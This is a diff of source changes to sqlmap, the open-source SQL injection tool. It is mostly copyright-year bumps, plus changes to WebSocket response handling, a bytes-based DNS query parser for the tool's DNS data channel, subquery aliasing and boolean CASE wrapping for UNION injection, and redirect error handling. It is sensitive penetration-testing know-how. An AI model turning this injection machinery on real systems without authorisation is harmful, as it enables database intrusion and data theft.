||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -119,6 +119,7 @@ from lib.core.settings import UNENCODED_ORIGINAL_VALUE
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
from lib.core.settings import URI_HTTP_HEADER
|
from lib.core.settings import URI_HTTP_HEADER
|
||||||
from lib.core.settings import WARN_TIME_STDEV
|
from lib.core.settings import WARN_TIME_STDEV
|
||||||
|
from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT
|
||||||
from lib.request.basic import decodePage
|
from lib.request.basic import decodePage
|
||||||
from lib.request.basic import forgeHeaders
|
from lib.request.basic import forgeHeaders
|
||||||
from lib.request.basic import processResponse
|
from lib.request.basic import processResponse
|
||||||
|
@ -451,10 +452,25 @@ class Connect(object):
|
||||||
|
|
||||||
if webSocket:
|
if webSocket:
|
||||||
ws = websocket.WebSocket()
|
ws = websocket.WebSocket()
|
||||||
ws.settimeout(timeout)
|
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
|
||||||
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
|
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||||
ws.send(urldecode(post or ""))
|
ws.send(urldecode(post or ""))
|
||||||
page = ws.recv()
|
|
||||||
|
_page = []
|
||||||
|
|
||||||
|
if kb.webSocketRecvCount is None:
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
_page.append(ws.recv())
|
||||||
|
except websocket.WebSocketTimeoutException:
|
||||||
|
kb.webSocketRecvCount = len(_page)
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
for i in xrange(max(1, kb.webSocketRecvCount)):
|
||||||
|
_page.append(ws.recv())
|
||||||
|
|
||||||
|
page = "\n".join(_page)
|
||||||
|
|
||||||
ws.close()
|
ws.close()
|
||||||
code = ws.status
|
code = ws.status
|
||||||
status = _http_client.responses[code]
|
status = _http_client.responses[code]
|
||||||
|
@ -568,15 +584,14 @@ class Connect(object):
|
||||||
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
|
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
|
||||||
|
|
||||||
if refresh:
|
if refresh:
|
||||||
debugMsg = "got Javascript redirect request"
|
debugMsg = "got Javascript redirect logic"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if refresh:
|
if refresh:
|
||||||
if kb.alwaysRefresh is None:
|
if kb.alwaysRefresh is None:
|
||||||
msg = "got a refresh request "
|
msg = "got a refresh intent "
|
||||||
msg += "(redirect like response common to login pages) to '%s'. " % refresh
|
msg += "(redirect like response common to login pages) to '%s'. " % refresh
|
||||||
msg += "Do you want to apply the refresh "
|
msg += "Do you want to apply it from now on? [Y/n]"
|
||||||
msg += "from now on (or stay on the original page)? [Y/n]"
|
|
||||||
|
|
||||||
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
|
||||||
|
|
||||||
|
@ -1038,11 +1053,11 @@ class Connect(object):
|
||||||
|
|
||||||
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
|
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
|
||||||
if match:
|
if match:
|
||||||
retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
|
retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
|
||||||
else:
|
else:
|
||||||
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
|
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
|
||||||
if match:
|
if match:
|
||||||
retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
|
retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -11,10 +11,58 @@ import binascii
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
|
import struct
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
|
|
||||||
class DNSQuery(object):
|
class DNSQuery(object):
|
||||||
|
"""
|
||||||
|
>>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
|
||||||
|
True
|
||||||
|
>>> DNSQuery(b'\\x00')._query == b""
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, raw):
|
||||||
|
self._raw = raw
|
||||||
|
self._query = b""
|
||||||
|
|
||||||
|
try:
|
||||||
|
type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits
|
||||||
|
|
||||||
|
if type_ == 0: # Standard query
|
||||||
|
i = 12
|
||||||
|
j = ord(raw[i:i + 1])
|
||||||
|
|
||||||
|
while j != 0:
|
||||||
|
self._query += raw[i + 1:i + j + 1] + b'.'
|
||||||
|
i = i + j + 1
|
||||||
|
j = ord(raw[i:i + 1])
|
||||||
|
except TypeError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def response(self, resolution):
|
||||||
|
"""
|
||||||
|
Crafts raw DNS resolution response packet
|
||||||
|
"""
|
||||||
|
|
||||||
|
retVal = b""
|
||||||
|
|
||||||
|
if self._query:
|
||||||
|
retVal += self._raw[:2] # Transaction ID
|
||||||
|
retVal += b"\x85\x80" # Flags (Standard query response, No error)
|
||||||
|
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
|
||||||
|
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
|
||||||
|
retVal += b"\xc0\x0c" # Pointer to domain name
|
||||||
|
retVal += b"\x00\x01" # Type A
|
||||||
|
retVal += b"\x00\x01" # Class IN
|
||||||
|
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
|
||||||
|
retVal += b"\x00\x04" # Data length
|
||||||
|
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
class DNSServer(object):
|
||||||
"""
|
"""
|
||||||
Used for making fake DNS resolution responses based on received
|
Used for making fake DNS resolution responses based on received
|
||||||
raw request
|
raw request
|
||||||
|
@ -24,43 +72,6 @@ class DNSQuery(object):
|
||||||
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
|
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, raw):
|
|
||||||
self._raw = raw
|
|
||||||
self._query = ""
|
|
||||||
|
|
||||||
type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits
|
|
||||||
|
|
||||||
if type_ == 0: # Standard query
|
|
||||||
i = 12
|
|
||||||
j = ord(raw[i])
|
|
||||||
|
|
||||||
while j != 0:
|
|
||||||
self._query += raw[i + 1:i + j + 1] + '.'
|
|
||||||
i = i + j + 1
|
|
||||||
j = ord(raw[i])
|
|
||||||
|
|
||||||
def response(self, resolution):
|
|
||||||
"""
|
|
||||||
Crafts raw DNS resolution response packet
|
|
||||||
"""
|
|
||||||
|
|
||||||
retVal = ""
|
|
||||||
|
|
||||||
if self._query:
|
|
||||||
retVal += self._raw[:2] # Transaction ID
|
|
||||||
retVal += "\x85\x80" # Flags (Standard query response, No error)
|
|
||||||
retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts
|
|
||||||
retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query
|
|
||||||
retVal += "\xc0\x0c" # Pointer to domain name
|
|
||||||
retVal += "\x00\x01" # Type A
|
|
||||||
retVal += "\x00\x01" # Class IN
|
|
||||||
retVal += "\x00\x00\x00\x20" # TTL (32 seconds)
|
|
||||||
retVal += "\x00\x04" # Data length
|
|
||||||
retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
class DNSServer(object):
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._check_localhost()
|
self._check_localhost()
|
||||||
self._requests = []
|
self._requests = []
|
||||||
|
@ -95,9 +106,15 @@ class DNSServer(object):
|
||||||
|
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
|
if prefix and hasattr(prefix, "encode"):
|
||||||
|
prefix = prefix.encode()
|
||||||
|
|
||||||
|
if suffix and hasattr(suffix, "encode"):
|
||||||
|
suffix = suffix.encode()
|
||||||
|
|
||||||
with self._lock:
|
with self._lock:
|
||||||
for _ in self._requests:
|
for _ in self._requests:
|
||||||
if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I):
|
if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I):
|
||||||
retVal = _
|
retVal = _
|
||||||
self._requests.remove(_)
|
self._requests.remove(_)
|
||||||
break
|
break
|
||||||
|
@ -148,7 +165,7 @@ if __name__ == "__main__":
|
||||||
if _ is None:
|
if _ is None:
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
print("[i] %s" % _)
|
print("[i] %s" % _.decode())
|
||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -11,7 +11,6 @@ import socket
|
||||||
|
|
||||||
from lib.core.common import filterNone
|
from lib.core.common import filterNone
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
from lib.core.data import conf
|
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -105,10 +105,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
|
||||||
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
|
||||||
|
|
||||||
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
|
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
|
||||||
expression = "SELECT %s FROM (%s)" % (field, expression)
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID):
|
||||||
|
alias = randomStr(lowercase=True, seed=hash(expression))
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
|
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example
|
||||||
expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
|
expression += " AS %s" % alias
|
||||||
|
else:
|
||||||
|
expression = "SELECT %s FROM (%s)" % (field, expression)
|
||||||
|
|
||||||
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
|
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
|
||||||
nulledCastedField = agent.nullAndCastField(field)
|
nulledCastedField = agent.nullAndCastField(field)
|
||||||
|
@ -410,6 +412,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||||
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
|
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
|
||||||
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
|
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
|
||||||
|
|
||||||
|
if expected == EXPECTED.BOOL:
|
||||||
|
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
|
||||||
|
|
||||||
|
if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")):
|
||||||
|
forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression
|
||||||
|
|
||||||
try:
|
try:
|
||||||
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
|
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
|
||||||
except SqlmapConnectionException:
|
except SqlmapConnectionException:
|
||||||
|
@ -494,7 +502,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||||
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
||||||
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
||||||
warnMsg += "a switch '--no-cast' "
|
warnMsg += "a switch '--no-cast' "
|
||||||
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
|
warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
# Dirty patch (safe-encoded unicode characters)
|
# Dirty patch (safe-encoded unicode characters)
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
@ -74,10 +74,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
|
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
|
||||||
except Exception as ex:
|
except: # e.g. IncompleteRead
|
||||||
dbgMsg = "there was a problem while retrieving "
|
content = ""
|
||||||
dbgMsg += "redirect response content ('%s')" % getSafeExString(ex)
|
|
||||||
logger.debug(dbgMsg)
|
|
||||||
finally:
|
finally:
|
||||||
if content:
|
if content:
|
||||||
try: # try to write it back to the read buffer so we could reuse it in further steps
|
try: # try to write it back to the read buffer so we could reuse it in further steps
|
||||||
|
@ -142,6 +140,14 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||||
except _urllib.error.HTTPError as ex:
|
except _urllib.error.HTTPError as ex:
|
||||||
result = ex
|
result = ex
|
||||||
|
|
||||||
|
# Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046
|
||||||
|
try:
|
||||||
|
hasattr(result, "read")
|
||||||
|
except KeyError:
|
||||||
|
class _(object):
|
||||||
|
pass
|
||||||
|
result = _()
|
||||||
|
|
||||||
# Dirty hack for http://bugs.python.org/issue15701
|
# Dirty hack for http://bugs.python.org/issue15701
|
||||||
try:
|
try:
|
||||||
result.info()
|
result.info()
|
||||||
|
@ -152,7 +158,12 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||||
|
|
||||||
if not hasattr(result, "read"):
|
if not hasattr(result, "read"):
|
||||||
def _(self, length=None):
|
def _(self, length=None):
|
||||||
return ex.msg
|
try:
|
||||||
|
retVal = getSafeExString(ex)
|
||||||
|
except:
|
||||||
|
retVal = ""
|
||||||
|
finally:
|
||||||
|
return retVal
|
||||||
result.read = types.MethodType(_, result)
|
result.read = types.MethodType(_, result)
|
||||||
|
|
||||||
if not getattr(result, "url", None):
|
if not getattr(result, "url", None):
|
||||||
|
@ -163,7 +174,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
||||||
except:
|
except:
|
||||||
redurl = None
|
redurl = None
|
||||||
result = fp
|
result = fp
|
||||||
fp.read = io.BytesIO("").read
|
fp.read = io.BytesIO(b"").read
|
||||||
else:
|
else:
|
||||||
result = fp
|
result = fp
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user